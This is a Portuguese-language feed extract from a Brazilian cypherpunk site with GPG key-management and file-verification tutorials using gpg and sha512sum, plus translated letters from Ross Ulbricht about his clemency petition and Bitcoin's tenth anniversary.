&lt;p>Foi criado um certificado de revogação da chave. Se você esquecer sua frase secreta ou se sua chave privada estiver comprometida ou perdida, esse certificado de revogação poderá ser publicado para notificar outras pessoas de que a chave pública não deve mais ser usada. Uma chave pública revogada ainda pode ser usada para verificar assinaturas feitas por você no passado, mas não pode ser usada para criptografar mensagens futuras para você. Também não afeta sua capacidade de descriptografar mensagens enviadas para você no passado, se você ainda tiver acesso à chave privada.&lt;/p>
&lt;p>&lt;strong>Importante&lt;/strong> &amp;gt; Se você decidir deletar sua chave, use esse certificado de revogação para a finalidade mencionada. Não apague sua chave do servidor de chaves, pois um atacante poderia criar uma chave semelhante a sua chave antiga e se passar por você.&lt;/p>
&lt;p>Caso você precise executar o comando para gerar o certificado, digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --output revoke.asc --gen-revoke mykey
&lt;/code>&lt;/pre>&lt;p>O argumento &lt;code>mykey&lt;/code> deve ser um especificador de chave, o ID da chave do seu par de chaves principal ou qualquer parte de um ID de usuário que identifique o seu par de chaves. O certificado gerado será deixado no arquivo &lt;code>revoke.asc&lt;/code>. Se a opção &lt;code>--output&lt;/code> for omitida, o resultado será colocado na saída padrão. Como o certificado é curto, você pode imprimir uma cópia impressa do certificado para armazenar em algum lugar seguro, como o seu cofre. &lt;strong>O certificado não deve ser armazenado onde outros possam acessá-lo, pois qualquer pessoa pode publicar o certificado de revogação e tornar inútil a chave pública correspondente&lt;/strong>.&lt;/p>
&lt;h3 id="backup-das-chaves">Backup das chaves&lt;/h3>
&lt;p>Para visualizar as chaves públicas instaladas, digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --list-keys
&lt;/code>&lt;/pre>&lt;p>Será exibido&lt;/p>
&lt;pre tabindex="0">&lt;code>/home/satoshi/.gnupg/pubring.kbx
--------------------------------
pub dsa3072 2018-12-12 [SC]
0D37DDC70358BD306685E18083048A80F80A2DB5
uid Satoshi Nakamoto (Apenas teste) &amp;lt;satoshin@gmx.com&amp;gt;
sub elg3072 2018-12-12 [E]
&lt;/code>&lt;/pre>&lt;p>Para visualizar as chaves privadas, digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --list-secret-keys
&lt;/code>&lt;/pre>&lt;p>Será exibido&lt;/p>
&lt;pre tabindex="0">&lt;code>/home/satoshi/.gnupg/pubring.kbx
--------------------------------
sec dsa3072 2018-12-12 [SC]
953004AE353BE95533D7F66B83E41A950939024D
uid [ultimate] Satoshi Nakamoto (Apenas teste) &amp;lt;satoshin@gmx.com&amp;gt;
ssb elg3072 2018-12-12 [E]
&lt;/code>&lt;/pre>&lt;p>Para salvar a chave pública o comando é:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg -ao public.mypgp.key --export ID_da_chave
&lt;/code>&lt;/pre>&lt;p>Para salvar a chave privada:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg -ao private.mypgp.key --export-secret-keys ID_da_chave
&lt;/code>&lt;/pre>&lt;p>Operações envolvendo a chave privada sempre será pedida a senha para confirmar.&lt;/p>
&lt;p>&lt;strong>Lembre-se de guardar as chaves em algum local seguro, de preferência criptografado.&lt;/strong>&lt;/p>
&lt;p>Agora se você precisar restaurar as chaves é só fazer:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --import public.mypgp.key
gpg --import private.mypgp.key
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Para fazer backup de todas as chaves basta copiar o diretório &lt;code>~/.gnupg&lt;/code> e salvar em outro local.&lt;/strong>&lt;/p>
&lt;h3 id="enviar-a-chave-pública-para-um-servidor-de-chaves">Enviar a chave pública para um servidor de chaves&lt;/h3>
&lt;p>Para exportar a chave para um servidor de chaves digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --keyserver pgp.mit.edu --send-keys ID_da_chave
&lt;/code>&lt;/pre>&lt;p>Ao teclar &lt;code>Enter&lt;/code> aparecerá&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: enviando chave 83048A80F80A2DB5 para hkp://pgp.mit.edu
&lt;/code>&lt;/pre>&lt;p>O &lt;code>83048A80F80A2DB5&lt;/code> é o ID da chave de exemplo.&lt;/p>
&lt;p>&lt;strong>Servidores famosos:&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;a href="pgp.mit.edu">pgp.mit.edu&lt;/a>
&lt;/li>
&lt;li>&lt;a href="keys.gnupg.net">keys.gnupg.net&lt;/a>
&lt;/li>
&lt;li>&lt;a href="subkeys.pgp.net">subkeys.pgp.net&lt;/a>
&lt;/li>
&lt;li>&lt;a href="keyserver.pgp.com">keyserver.pgp.com&lt;/a>
&lt;/li>
&lt;li>&lt;a href="keyserver.ubuntu.com">keyserver.ubuntu.com&lt;/a>
&lt;/li>
&lt;li>&lt;a href="sks-keyservers.net">sks-keyservers.net&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://sks-keyservers.net/status/" target="_blank" rel="noopener noreferrer">outros&lt;/a>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Verificação de integridade e autenticidade (texto da antiga wiki)</title><link>https://cypherpunks.com.br/documentos/wiki-verificacao/</link><pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/wiki-verificacao/</guid><description>Tutorial movido da antiga wiki Cypherpunks Brasil para o site.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="verificação-de-integridade-e-autenticidade">Verificação de integridade e autenticidade&lt;/h1>
&lt;hr>
&lt;p>Por vezes torna-se importante averiguar a integridade e autenticidade de arquivos baixados. Para se ter a certeza da origem e que o mesmo não corrompeu durante o download.&lt;/p>
&lt;p>Alguns sites colocam como opção de verificação somente o &lt;strong>hash&lt;/strong> do arquivo. Alguns outros colocam o arquivo assinado por uma chave &lt;strong>GPG&lt;/strong>. Outros colocam um misto, ou seja, disponibilizam para download o &lt;strong>hash&lt;/strong> do arquivo assinado por uma chave.&lt;/p>
&lt;h2 id="verificação-por-hash">Verificação por hash&lt;/h2>
&lt;p>O &lt;strong>hash&lt;/strong> é também chamado de &lt;strong>checksum&lt;/strong> ou &lt;strong>soma de verificação&lt;/strong>.
Utilizaremos como nosso primeiro exemplo o Linux &lt;a href="https://www.digi77.com/index.php" target="_blank" rel="noopener noreferrer">Kodachi&lt;/a>
. Os desenvolvedores e mantenedores decidiram deixar como método de verificação somente através de &lt;strong>hash&lt;/strong>. Antes de tudo, baixaremos os seguintes arquivos:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://sourceforge.net/projects/linuxkodachi/files/latest/download" target="_blank" rel="noopener noreferrer">Kodachi ISO&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://www.digi77.com/software/kodachi/Kodachi-hash.txt" target="_blank" rel="noopener noreferrer">Kodachi hash&lt;/a>
&lt;/li>
&lt;/ul>
&lt;p>Após efetuar o download dos arquivos, abra o arquivo &lt;code>Kodachi-hash.txt&lt;/code> e observe que temos várias opções de &lt;strong>hash&lt;/strong>: &lt;strong>MD5&lt;/strong>, &lt;strong>SHA1&lt;/strong>, &lt;strong>CRC32&lt;/strong>, &lt;strong>SHA-256&lt;/strong>, &lt;strong>SHA-512&lt;/strong> e &lt;strong>SHA-384&lt;/strong>. Para verificar a ISO, faça o seguinte:&lt;/p>
&lt;p>&lt;strong>No Windows&lt;/strong>
Utilizaremos o programa &lt;a href="https://securityxploded.com/hashgenerator.php" target="_blank" rel="noopener noreferrer">Hash Generator&lt;/a>
. Depois de baixá-lo e instalá-lo, clique com o botão direito do mouse em cima da ISO e escolha a opção &lt;code>Hash Generator&lt;/code>. Se o programa já estiver aberto, apenas selecione o arquivo. Então clique no botão &lt;code>Generate Hash&lt;/code> e espere até ter o resultado.
Então copie o(s) &lt;strong>hash(es)&lt;/strong> gerador pelo programa e cole no final do arquivo &lt;code>Kodachi-hash.txt&lt;/code>. Então use a função localizar do bloco de notas e confirme se o programa identifica os dois &lt;strong>hashes&lt;/strong>.&lt;/p>
&lt;p>&lt;strong>No Linux&lt;/strong>
Abra o terminal no diretório em que se encontram os arquivos e digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>sha512sum kodachi-6.0-64.iso
&lt;/code>&lt;/pre>&lt;p>A saída será:&lt;/p>
&lt;pre tabindex="0">&lt;code>b73aee2d0ba3b5fc85389e7a0b88bca58a3a558327cf6ddb98f83fe463afbee86a9efcbbe7d73ed511e14eb6e2d830733502f21b946318bfd07fc7f759c9df02 kodachi-6.0-64.iso
&lt;/code>&lt;/pre>&lt;p>Copie a saída e cole no no final do arquivo &lt;code>Kodachi-hash.txt&lt;/code> e verifique se coincidem, assim como explicado antes.&lt;/p>
&lt;p>No Linux é possível verificar o hash e comparar simultaneamente se o arquivo estiver com o &lt;strong>hash&lt;/strong> no formato gerado no terminal. Por exemplo, usando o comando:&lt;/p>
&lt;pre tabindex="0">&lt;code>sha512sum -c arquivo-hash.txt arquivo-verificar.zip
&lt;/code>&lt;/pre>&lt;p>A saída gerada é:&lt;/p>
&lt;pre tabindex="0">&lt;code>arquivo-verificar.zip: OK
&lt;/code>&lt;/pre>&lt;p>Verifique um ou mais &lt;strong>hashes&lt;/strong> se preferir.&lt;/p>
&lt;h2 id="verificação-por-assinatura-digital">Verificação por assinatura digital&lt;/h2>
&lt;p>Verificaremos o programa &lt;a href="https://keepassxc.org" target="_blank" rel="noopener noreferrer">KeePassXC&lt;/a>
. O método disponibilizado para verificar o arquivo é através de assinatura digital.
Para isso utilizaremos o programa &lt;a href="https://www.gpg4win.org/" target="_blank" rel="noopener noreferrer">GPG4Win&lt;/a>
para Windows ou Kleopatra para Linux. Antes de tudo, baixe o &lt;a href="https://www.gpg4win.org/thanks-for-download.html" target="_blank" rel="noopener noreferrer">programa GPG4Win&lt;/a>
e verifique o &lt;strong>hash&lt;/strong> antes de instalar no Windows. Se estiver usando Linux baixe o programa Kleopatra.&lt;/p>
&lt;p>Faremos a verificação do programa para Windows&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/keepassxreboot/keepassxc/releases/download/2.3.4/KeePassXC-2.3.4-Win64.exe" target="_blank" rel="noopener noreferrer">KeePassXC Program&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://keepassxc.org/keepassxc_master_signing_key.asc" target="_blank" rel="noopener noreferrer">KeePassXC Public Key&lt;/a>
ou ID CFB4C2166397D0D2&lt;/li>
&lt;li>&lt;a href="https://github.com/keepassxreboot/keepassxc/releases/download/2.3.4/KeePassXC-2.3.4-Win64.exe.sig" target="_blank" rel="noopener noreferrer">KeePassXC Signature&lt;/a>
&lt;/li>
&lt;/ul>
&lt;p>Primeiramente abra o terminal no diretório em que se encontram os arquivos e digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --import keepassxc_master_signing_key.asc
&lt;/code>&lt;/pre>&lt;p>Este comando pode ser substituído por &lt;code>gpg --import CFB4C2166397D0D2&lt;/code>, que referencia a chave pública do desenvolvedor. A saída deverá ser:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: key CFB4C2166397D0D2: 41 signatures not checked due to missing keys
gpg: key CFB4C2166397D0D2: public key &amp;#34;KeePassXC Release &amp;lt;release@keepassxc.org&amp;gt;&amp;#34; imported
gpg: Número total processado: 1
gpg: importados: 1
gpg: no ultimately trusted keys found
&lt;/code>&lt;/pre>&lt;p>Depois de importada a chave, digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --verify KeePassXC-2.3.4-Win64.exe.sig KeePassXC-2.3.4-Win64.exe
&lt;/code>&lt;/pre>&lt;p>Após isso espere a saída do programa que será:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: Signature made 08/23/18 15:54:05 Hora oficial do Brasil
gpg: using RSA key C1E4CBA3AD78D3AFD894F9E0B7A66F03B59076A8
gpg: Good signature from &amp;#34;KeePassXC Release &amp;lt;release@keepassxc.org&amp;gt;&amp;#34; [unknown]
gpg: AVISO: Esta chave não está certificada com uma assinatura confiável!
gpg: Não há indicação de que a assinatura pertence ao dono.
Impressão da chave primária: BF5A 669F 2272 CF43 24C1 FDA8 CFB4 C216 6397 D0D2
Impressão da subchave: C1E4 CBA3 AD78 D3AF D894 F9E0 B7A6 6F03 B590 76A8
&lt;/code>&lt;/pre>&lt;p>A linha que nos importa é &lt;code>gpg: Good signature from &amp;quot;KeePassXC Release &amp;lt;release@keepassxc.org&amp;gt;&amp;quot; [unknown]&lt;/code>.&lt;/p>
&lt;p>&lt;strong>Atenção&lt;/strong>
A linha que contém o aviso &lt;code>gpg: AVISO: Esta chave não está certificada com uma assinatura confiável!&lt;/code> indica ninguém certificou essa chave com uma assinatura. Apesar da linha &lt;code>gpg: Não há indicação de que a assinatura pertence ao dono.&lt;/code>, a verificação foi concluída com sucesso indicando que o desenvolvedor assinou o arquivo com a chave dele.&lt;/p>
&lt;p>Não é necessário que você tenha criado um par de chaves, pois não precisaremos da chave privada para isso. Mesmo usando interface gráfica, o programa identifica o certificado digital e, clicando nela, abrirá uma janela com os detalhes do certificado. Usando interface gráfica o processo é semelhante, mas não será abordado.&lt;/p>
&lt;h2 id="verificação-por-assinatura-e-hash-em-conjunto">Verificação por assinatura e hash em conjunto&lt;/h2>
&lt;p>Esse é outro modo comum de verificar arquivos, se disponível no site do arquivo que se pretende baixar. Aqui não há nada de diferente quanto ao modo de verificar:&lt;/p>
&lt;ul>
&lt;li>Verificar primeiro a assinatura do arquivo contendo o &lt;strong>checksum&lt;/strong>&lt;/li>
&lt;li>Calcular o &lt;strong>hash&lt;/strong> do arquivo e comparar com o conteúdo do arquivo de &lt;strong>hash&lt;/strong> assinado&lt;/li>
&lt;/ul>
&lt;p>De modo geral é assim que se verifica. Aqui como exemplo usaremos uma ISO do Debian. Para verificar qualquer ISO do Debian há um procedimento um pouco diferente, mas que se mostra igualmente útil.&lt;/p>
&lt;p>Primeiramente baixe os arquivos de exemplo:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-9.8.0-amd64-netinst.iso" target="_blank" rel="noopener noreferrer">Debian ISO&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/SHA512SUMS" target="_blank" rel="noopener noreferrer">Debian hash&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/SHA512SUMS.sign" target="_blank" rel="noopener noreferrer">Debian hash sign&lt;/a>
&lt;/li>
&lt;li>Certificado será importado depois&lt;/li>
&lt;/ul>
&lt;p>No Linux digite no terminal no mesmo diretório dos arquivos baixados:&lt;/p>
&lt;pre tabindex="0">&lt;code>sha512sum --ignore-missing -c SHA512SUMS debian-9.8.0-amd64-netinst.iso
&lt;/code>&lt;/pre>&lt;p>O parâmetro &lt;code>--ignore-missing&lt;/code> serve para evitar que se verifique qualquer outro arquivo cuja soma de verificação esteja neste arquivo e faltando no diretório, evitando uma saída desnecessariamente longa no terminal.&lt;/p>
&lt;p>A saída que aparecerá é:&lt;/p>
&lt;pre tabindex="0">&lt;code>debian-9.8.0-amd64-netinst.iso: OK
&lt;/code>&lt;/pre>&lt;p>Isso mostra apenas que o download não corrompeu o arquivo.
No Windows o passo a passo já sabemos: verificar os &lt;strong>hashes&lt;/strong> através do Hash Generator e conferir usando o bloco de notas.&lt;/p>
&lt;p>Agora será necessário verificar se o &lt;strong>hash&lt;/strong> foi realmente assinado pelo desenvolvedor. Para isso, digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --verify SHA512SUMS.sign
&lt;/code>&lt;/pre>&lt;p>A saída que aparecerá é a seguinte:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: assuming signed data in &amp;#39;SHA512SUMS&amp;#39;
gpg: Signature made dom 17 fev 2019 12:10:30 -03
gpg: using RSA key DF9B9C49EAA9298432589D76DA87E80D6294BE9B
gpg: Can&amp;#39;t check signature: No public key
&lt;/code>&lt;/pre>&lt;p>A mensagem mostra o ID da chave pública (&lt;code>DF9B9C49EAA9298432589D76DA87E80D6294BE9B&lt;/code>) e diz que não existe essa chave no nosso chaveiro. Vamos verificar se existe essa chave no &lt;em>keyring server&lt;/em> do Debian e importá-la. Para isso digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --keyserver keyring.debian.org --recv DF9B9C49EAA9298432589D76DA87E80D6294BE9B
&lt;/code>&lt;/pre>&lt;p>A saída será algo assim:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: key DA87E80D6294BE9B: 5 signatures not checked due to missing keys
gpg: key DA87E80D6294BE9B: public key &amp;#34;Debian CD signing key &amp;lt;debian-cd@lists.debian.org&amp;gt;&amp;#34; imported
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: Total number processed: 1
gpg: imported: 1
&lt;/code>&lt;/pre>&lt;p>Agora verificaremos a assinatura do &lt;strong>hash&lt;/strong> com o comando:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --verify SHA512SUMS.sign SHA512SUMS
&lt;/code>&lt;/pre>&lt;p>A saída será:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: Signature made dom 17 fev 2019 12:10:30 -03
gpg: using RSA key DF9B9C49EAA9298432589D76DA87E80D6294BE9B
gpg: Good signature from &amp;#34;Debian CD signing key &amp;lt;debian-cd@lists.debian.org&amp;gt;&amp;#34; [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF9B 9C49 EAA9 2984 3258 9D76 DA87 E80D 6294 BE9B
&lt;/code>&lt;/pre>&lt;p>O que nos importa é a linha &lt;code>gpg: Good signature from &amp;quot;Debian CD signing key &amp;lt;debian-cd@lists.debian.org&amp;gt;&amp;quot; [unknown]&lt;/code>, mostrando que a verificação deu certo.&lt;/p></content:encoded></item><item><title>Carta agradecendo pelas 100,000 assinaturas</title><link>https://cypherpunks.com.br/documentos/carta-de-agradecimentos-pelos-100k/</link><pubDate>Thu, 01 Nov 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-agradecimentos-pelos-100k/</guid><description>Carta agradecendo pelas 50,000 assinaturas, não tem muito o que falar mesmo.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Enviado em novembro de 2018&lt;/p>
&lt;p>&lt;/p>
&lt;p>Me belisquem, eu devo estar sonhando! 100,000 assinantes querem me ver fora da prisão! Isso é incrivel, ver uma enorme onda de apoio nesses primeiros meses desde o lançamento da petição. .&lt;/p>
&lt;p>Nosso objetivo de 500 mil parece totalmente realizável agora.&lt;/p>
&lt;p>Eu não estava me sentindo esperançoso no tempo em que estou preso, Obrigado! 😀&lt;/p>
&lt;p>Se você ainda não assinou o pedido de clemência de Ross, pode assinar &lt;a href="https://www.change.org/p/freerosspetition-we-seek-potus-s-clemency-for-ross-ulbricht-serving-double-life-for-a-website-realdonaldtrump-free-ross" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/Ross_100k_note.jpg" loading="lazy"
width="2220" height="1287"
/>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://freeross.org/letter-for-100k-signatures/" target="_blank" rel="noopener noreferrer">Free Ross Ulbricht&lt;/a>
&lt;/p></content:encoded></item><item><title>Feliz Aniversário, Bitcoin!</title><link>https://cypherpunks.com.br/documentos/feliz-aniversario-bitcoin/</link><pubDate>Wed, 31 Oct 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/feliz-aniversario-bitcoin/</guid><description>O Bitcoin está fazendo dez anos e, como muitos de nós, sinto-me como um pai orgulhoso, tendo observado o crescimento do seu potencial ao longo dos anos. Eu acho que sou o pai distante da prisão, que não pode estar lá para ajudar a criar o filho.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="ross-ulbritch">Ross Ulbritch&lt;/h3>
&lt;p>&lt;/p>
&lt;p>O Bitcoin está fazendo dez anos e, como muitos de nós, sinto-me como um pai orgulhoso, tendo observado o crescimento do seu potencial ao longo dos anos. Eu acho que sou o pai distante da prisão, que não pode estar lá para ajudar a criar o filho.&lt;/p>
&lt;p>Bitcoin: &lt;em>Mamãe, quando o papai vai voltar para casa?&lt;/em>&lt;/p>
&lt;p>Mamãe: &lt;em>Ele vai voltar para casa assim que puder, querido&lt;/em>&lt;/p>
&lt;p>Bitcoin: &lt;em>Por que ele nos deixou, mamãe?&lt;/em>&lt;/p>
&lt;p>Mamãe: &lt;em>Eu vou explicar quando você for mais velho. Agora vá e brinque de blockchain com as outras criptos.&lt;/em>&lt;/p>
&lt;p>O Bitcoin como um garoto de 10 anos, não é uma analogia ruim. A tecnologia ainda é muito jovem e continua crescendo. Tem crescido como uma erva daninha e passou por algumas dores de crescimento, mas é apenas um pré-adolescente e tem a estrada rochosa da adolescência ainda à frente. É algo que todos nós temos que passar para amadurecer até adultos, descobrir quem somos e o Bitcoin não é diferente.&lt;/p>
&lt;p>Veremos nos próximos anos do que o Bitcoin é capaz, como será usado e o impacto que isso terá em nosso mundo. Tenho grandes esperanças de que nosso filho superdotado supere as expectativas de todos e alcance a grandeza, mas ainda é uma criança que deve ser nutrida e protegida.&lt;/p>
&lt;p>O Bitcoin precisa que continuemos a orientá-lo com os valores em que ele foi fundado, o que lhe deu o seu potencial. Devemos manter nosso foco na descentralização, privacidade e capacitação de indivíduos. Nós somos defensores e representantes do Bitcoin. Até onde vai e o que se torna nos anos cruciais à frente dependerá de nós. É uma tecnologia com o poder de fazer abstrações como paz e igualdade na realidade. Mas cabe a nós incorporar esses ideais e ser modelos para a crescente comunidade Bitcoin e para o próprio Bitcoin.&lt;/p>
&lt;p>Estou muito animado com o que virá nos próximos dez anos, para o Bitcoin e todos os seus primos criptográficos. Eu só espero que eu possa voltar para casa e compensar esses anos perdidos e mostrar a todos onde meu coração realmente está.
Ross Ulbricht.&lt;/p>
&lt;p>Fonte: &lt;a href="https://bitcoinmagazine.com/articles/happy-birthday-bitcoin-letter-ross-ulbricht/" target="_blank" rel="noopener noreferrer">Happy Birthday, Bitcoin! A Letter From Ross Ulbricht&lt;/a>
&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta 1-2" src="https://fs.bitcoinmagazine.com/img/images/ross_letter_1-2.original.jpg" loading="lazy"
/>
&lt;img class="img-fluid" alt="Carta 3" src="https://fs.bitcoinmagazine.com/img/images/ross_letter_3.original.jpg" loading="lazy"
/>
&lt;/p>
&lt;p>&lt;em>Este é um post a convite por Ross Ulbricht. Foi compartilhado, com permissão, para a Bitcoin Magazine pela mãe de Ross, Lyn Ulbricht. Para saber mais sobre Ross, assine sua petição por clemência e apoie a campanha para libertá-lo, visite &lt;a href="freeross.org">https://freeross.org&lt;/a>
. Siga @free_ross, @RealRossU e a hashtag #freeross no Twitter. Visite Free Ross no Facebook e freerossulbricht no Instagram.&lt;/em>&lt;/p></content:encoded></item><item><title>Carta agradecendo pelas 50,000 assinaturas</title><link>https://cypherpunks.com.br/documentos/carta-de-agradecimento-pelas-50mil-assinaturas/</link><pubDate>Wed, 08 Aug 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-agradecimento-pelas-50mil-assinaturas/</guid><description>Carta agradecendo pelas 50,000 assinaturas, não tem muito o que falar.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Enviado em 8 de agosto de 2018&lt;/p>
&lt;p>&lt;/p>
&lt;p>Olá a todos,&lt;/p>
&lt;p>Eu estou espantado pelo amor e suporte que vocês me deram nas últimas semanas. Obtivemos 50 mil assinaturas na petição pela minha clemêmencia. Os comentários encorajadores, os tweets, os artigos, suas atenções e apoio a minha liberdade &amp;hellip; isso tudo é muito inspirador. Com vocês atrás de mim , espero que a petição continue crescendo até que tenha a atenão do Presidente. Obrigado por tudo o que estão fazendo em meu nome.&lt;/p>
&lt;p>Sinceramente,&lt;br>
Ross&lt;/p>
&lt;p>&lt;em>Se você ainda não assinou o pedido de clemência de Ross, pode assinar&lt;/em> &lt;a href="https://www.change.org/p/freerosspetition-we-seek-potus-s-clemency-for-ross-ulbricht-serving-double-life-for-a-website-realdonaldtrump-free-ross" target="_blank" rel="noopener noreferrer">aqui&lt;/a>
.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/Thank_You_Letter_50k_Signatures_8-3-18.jpg" loading="lazy"
width="2330" height="2988"
/>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://freeross.org/letter-for-50k-signatures/" target="_blank" rel="noopener noreferrer">Free Ross Ulbricht&lt;/a>
&lt;/p></content:encoded></item><item><title>Tutorial GPG</title><link>https://cypherpunks.com.br/documentos/tutorial-gpg/</link><pubDate>Wed, 11 Jul 2018 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/tutorial-gpg/</guid><description>Tutorial GPG 👍</description><content:encoded>&lt;pre tabindex="0">&lt;code>Escrito por: OneTimePad
Revisado por: Jefferson, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;strong>&lt;!-- raw HTML omitted -->Tutorial GPG&lt;!-- raw HTML omitted -->&lt;/strong>
&lt;/p>
&lt;ol>
&lt;li>&lt;a href="#gpg1">&lt;!-- raw HTML omitted -->Como instalar o GPG?&lt;!-- raw HTML omitted -->&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#gpg2">&lt;!-- raw HTML omitted -->Como criar uma chave GPG?&lt;!-- raw HTML omitted -->&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#gpg3">&lt;!-- raw HTML omitted -->Visualizando chaves instaladas&lt;!-- raw HTML omitted -->&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#gpg4">&lt;!-- raw HTML omitted -->Exportando a chave para um servidor de chaves&lt;!-- raw HTML omitted -->&lt;/a>
&lt;/li>
&lt;li>&lt;!-- raw HTML omitted -->Criando um certificado de revogação&lt;!-- raw HTML omitted -->&lt;/li>
&lt;li>&lt;!-- raw HTML omitted -->Revogando uma chave&lt;!-- raw HTML omitted -->&lt;/li>
&lt;li>&lt;!-- raw HTML omitted -->Fazendo backup da sua chave (importante)&lt;!-- raw HTML omitted -->&lt;/li>
&lt;li>&lt;!-- raw HTML omitted -->Importando uma chave&lt;!-- raw HTML omitted -->&lt;/li>
&lt;li>&lt;!-- raw HTML omitted -->Configurando cliente de email (Thunderbird)&lt;!-- raw HTML omitted -->&lt;/li>
&lt;li>&lt;!-- raw HTML omitted -->Adicionando sua chave ao cypherpunks.com.br&lt;!-- raw HTML omitted -->&lt;/li>
&lt;/ol>
&lt;p>&lt;strong>&lt;!-- raw HTML omitted -->1 - Como instalar o GPG&lt;!-- raw HTML omitted -->&lt;/strong> No Ubuntu, abra o terminal (Ctrl + Alt + T) e instale o gpg:&lt;/p>
&lt;pre>&lt;code>sudo apt-get install gnupg
&lt;/code>&lt;/pre>
&lt;p>&lt;!-- raw HTML omitted -->&lt;strong>2 - Como criar uma chave GPG?&lt;/strong>&lt;!-- raw HTML omitted --> Digite:&lt;/p>
&lt;pre>&lt;code>gpg --full-generate-key
&lt;/code>&lt;/pre>
&lt;p>Depois escolha a opção (2) DSA e Elgamal &lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/full-generate-key.png" loading="lazy"
/>
Escolha o tamanho da sua chave. Neste exemplo, optamos pelo tamanho máximo, isto é 3072 bits. &lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/full-generate-key_2.png" loading="lazy"
/>
&lt;/p>
&lt;p>Escolha o período de expiração. Essa opção é boa quando se quer que a chave seja inutilizada depois de um tempo. Mas para este exemplo, optamos por escolher uma chave que nunca expira, utilizando a opção (0) e logo em seguida, confirmando com &amp;ldquo;s&amp;rdquo;.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/full-generate-key_3-1.png" loading="lazy"
/>
&lt;/p>
&lt;p>Preencha os campos com o seu nome, e-mail e com um comentário (opcional). Confirme apertando &amp;ldquo;o&amp;rdquo;, ou altere apertando a letra inicial do que deseja alterar. Muda (N)ome, (C)omentário, (E)ndereço ou (O)k/(S)air?&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/11/full-generate-key_4.png" loading="lazy"
/>
